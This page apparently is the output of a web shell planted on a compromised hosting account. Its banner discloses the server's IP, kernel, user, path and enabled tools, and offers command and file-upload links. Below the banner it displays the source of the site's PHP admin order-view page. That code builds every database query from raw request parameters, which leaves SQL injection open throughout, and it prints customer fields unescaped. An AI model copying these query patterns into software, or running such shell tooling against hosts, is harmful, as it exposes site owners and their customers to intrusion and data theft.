|
Server IP : 2a02:4780:11:1017:0:31f1:b895:8 / Your IP : 216.73.216.163 Web Server : LiteSpeed System : Linux in-mum-web917.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u837925013 ( 837925013) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u837925013/domains/tech2wizard.com/public_html/admin/assets/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
$page='order';
$page1='';
include('inc/sidebar.php') ;
include('inc/mail.php');
if(isset($_GET["Order"])){
$get_order= mysqli_fetch_array($con->query("SELECT * FROM `order` WHERE id='".$_GET["Order"]."'"));
$get_user= mysqli_fetch_array($con->query("SELECT * FROM `users` WHERE id='".$get_order["user_id"]."'"));
$get_store= mysqli_fetch_array($con->query("SELECT * FROM `store` WHERE id='".$get_order["store"]."'"));
}else{
echo "<script type='text/javascript'>window.location=\"order.php\";</script>";
}
if(isset($_REQUEST['OrderStatus'])){
if($_REQUEST['OrderStatus'] == 'Update Status'){
date_default_timezone_set("Asia/Kolkata"); //India time (GMT+5:30)
$sql_insert = "UPDATE `order` SET `order_status` = '".$_REQUEST['o_status']."' WHERE `order`.`id` ='".$_GET["Order"]."'";
$query_insert = mysqli_query($con, $sql_insert);
if($query_insert){
mailBookingStatus($con, $_GET["Order"] , $_REQUEST['o_status']);
echo'<div id="hide-toast"class="toast" role="success" aria-live="assertive" aria-atomic="true">
<div class="toast-body success">
<i class="fa fa-warning"></i>Order Status Updated.<i class="fa fa-close"id="close"></i>
</div>
</div>';
echo "<script type='text/javascript'>window.location=\"view-order.php?Order=".$_GET["Order"]."\";</script>";
}
}
}
if(isset($_REQUEST['PaymentStatus'])){
if($_REQUEST['PaymentStatus'] == 'Update Payment'){
date_default_timezone_set("Asia/Kolkata"); //India time (GMT+5:30)
$sql_insert = "UPDATE `order` SET `payment_status` = '".$_REQUEST['p_status']."' WHERE `order`.`id` ='".$_GET["Order"]."'";
$query_insert = mysqli_query($con, $sql_insert);
if($query_insert){
echo'<div id="hide-toast"class="toast" role="success" aria-live="assertive" aria-atomic="true">
<div class="toast-body success">
<i class="fa fa-warning"></i>Payment Status Updated.<i class="fa fa-close"id="close"></i>
</div>
</div>';
echo "<script type='text/javascript'>window.location=\"view-order.php?Order=".$_GET["Order"]."\";</script>";
}
}
}
?>
<!-- navbar-wrapper start -->
<div class="body-wrapper">
<div class="bodywrapper__inner">
<div class="row align-items-center mb-30 justify-content-between">
<div class="col-lg-4 col-sm-6">
<h6 class="page-title">Booking Details</h6>
</div>
<div class="col-lg-8 col-sm-6 text-sm-right mt-sm-0 mt-3 right-part">
<div class="d-flex flex-wrap justify-content-end flex-gap-8">
<a href="order.php"type="button" class="btn btn--primary" style="height: 38px;">Back</a>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-12">
<div class="card">
<div class="card-body p-10">
<div class="row">
<div class="col-md-7">
<h3>BOOKING ID - <?php echo $get_order['orderID']; ?></h3>
<p>Created On - <?php echo date('M d, Y H:i A', strtotime($get_order['added_on'])); ?></p>
</div>
<div class="col-md-5">
<form method="post" action="" name="datafrm" id="datafrm" enctype="multipart/form-data">
<div class="row">
<div class="col-md-6">
<select class="form-control" name="o_status" required="" >
<option value="">Select Status </option>
<?php
$sql_status= mysqli_query($con,"SELECT * FROM order_status ORDER BY id DESC");
while($status_data= mysqli_fetch_array($sql_status))
{
?>
<option value="<?php echo $status_data['id'] ?>" <?php if($get_order['order_status']==$status_data['id']){ echo 'selected'; } ?>><?php echo $status_data['name'] ?></option>
<?php } ?>
</select>
</div>
<div class="col-md-6">
<input type="submit" name="OrderStatus" id="OrderStatus"value="Update Status"class="btn btn--primary w-100">
</div>
</div>
</form>
<form method="post" action="" name="datafrm" id="datafrm" enctype="multipart/form-data">
<div class="row">
<div class="col-md-6">
<select class="form-control" name="p_status" required="" >
<option value="success" <?php if($get_order['payment_status']=='success'){ echo 'selected';} ?>>Success</option>
<option value="pending" <?php if($get_order['payment_status']=='pending'){ echo 'selected';} ?>>Pending</option>
</select>
</div>
<div class="col-md-6">
<input type="submit" name="PaymentStatus" id="PaymentStatus"value="Update Payment"class="btn btn--primary w-100">
</div>
</div>
</form>
</div>
</div>
<hr>
<div class="row">
<div class="col-md-4">
<h4 class="order-title">Booking Information</h4>
<table class="order-table">
<tr>
<th>Payment Type</th>
<td>: <?php echo $get_order['payment_type']; ?></td>
</tr>
<tr>
<th>Payment Status</th>
<td>: <?php echo $get_order['payment_status']; ?></td>
</tr>
<tr>
<th> Status</th>
<td>: <?php
$get_os= mysqli_fetch_array($con->query("select * from order_status WHERE id='".$get_order['order_status']."'"));
echo $get_os['name'];
?></td>
</tr>
<tr>
<th>Booking Type</th>
<td>: <?php echo $get_order['order_type']; ?></td>
</tr>
<tr>
<th> Date</th>
<td>: <?php echo date('M d, Y', strtotime($get_order['date'])); ?></td>
</tr>
<tr>
<th> Time</th>
<td>: <?php echo date('H:i A', strtotime($get_order['time'])); ?></td>
</tr>
</table>
</div>
<div class="col-md-8">
<h4 class="order-title">Customer Information</h4>
<table class="order-table">
<tr>
<th>User ID</th>
<td>: <?php echo 'USER00'.$get_user['id']; ?></td>
</tr>
<tr>
<th>Name</th>
<td>: <?php echo $get_order['name']; ?></td>
</tr>
<tr>
<th>Email</th>
<td>: <?php echo $get_order['email']; ?></td>
</tr>
<tr>
<th>Phone</th>
<td>: <?php echo $get_order['phone']; ?></td>
</tr>
<tr>
<th>Address</th>
<td>: <?php echo $get_order['address']; ?></td>
</tr>
<tr>
<th>Shipping Address</th>
<td>: <?php echo $get_order['shipping_address']; ?></td>
</tr>
<tr>
<th>Booking Note</th>
<td>: <?php echo $get_order['notes']; ?></td>
</tr>
</table>
</div>
<?php if($get_order['order_type']=='Visit'){ ?>
<div class="col-md-12 mt-20">
<h4 class="order-title">Store Information</h4>
<table class="order-table">
<tr>
<th width="16%">Store Title</th>
<td>: <?php echo $get_store['title']; ?></td>
</tr>
<tr>
<th>Store Address</th>
<td>: <?php echo $get_store['address']; ?></td>
</tr>
<tr>
<th>Store Email</th>
<td>: <?php echo $get_store['email']; ?></td>
</tr>
<tr>
<th>Store Phone</th>
<td>: <?php echo $get_store['phone']; ?></td>
</tr>
<tr>
<th>Store State</th>
<td>:
<?php
$state_data= mysqli_fetch_array(mysqli_query($con,"SELECT * FROM states WHERE state_id='".$get_store['state']."'"));
echo $state_data['state_name'];
?>
</td>
</tr>
<tr>
<th>Store City</th>
<td>: <?php
$city_data= mysqli_fetch_array(mysqli_query($con,"SELECT * FROM cities WHERE city_id='".$get_store['city']."'"));
echo $city_data['city_name'];
?></td>
</tr>
</table>
</div>
<?php } ?>
</div>
<hr>
<div class="row">
<div class="col-md-12">
<table class="order-main-table">
<tr class="heading">
<th>Brand Name</th>
<th>Model Name</th>
<th>Service Name</th>
<th>Price</th>
</tr>
<?php
$sql= "SELECT * FROM `order_detail` WHERE order_id='".$get_order['id']."' ORDER BY id DESC";
$qry= mysqli_query($con,$sql);
while($data= mysqli_fetch_array($qry)) {
$get_service= mysqli_fetch_array($con->query("SELECT * FROM `service` WHERE id='".$data["service_id"]."'"));
?>
<tr class="main">
<td><?php
$get_brand= mysqli_fetch_array($con->query("SELECT * FROM `brand` WHERE id='".$get_service["brand_id"]."'"));
echo $get_brand['brand'];
?>
</td>
<td><?php
$get_model= mysqli_fetch_array($con->query("SELECT * FROM `model` WHERE id='".$get_service["model_id"]."'"));
echo $get_model['model'];
?></td>
<td><?php echo $get_service['service_name']; ?></td>
<td><?php echo '₹ '.number_format($get_service['price'],2,".",","); ?></td>
</tr>
<?php } ?>
</table>
<hr><?php
if(!empty($get_order['coupon_code'])){
?>
<div class="text-right">
<h4>Discount : <?php echo '₹ '.number_format($get_order['coupon_value'],2,".",","); ?></h4>
</div>
<?php } ?>
<div class="text-right">
<h4>Total Price : <?php echo '₹ '.number_format($get_order['total_price'],2,".",","); ?></h4>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<?php include('inc/footer.php') ?>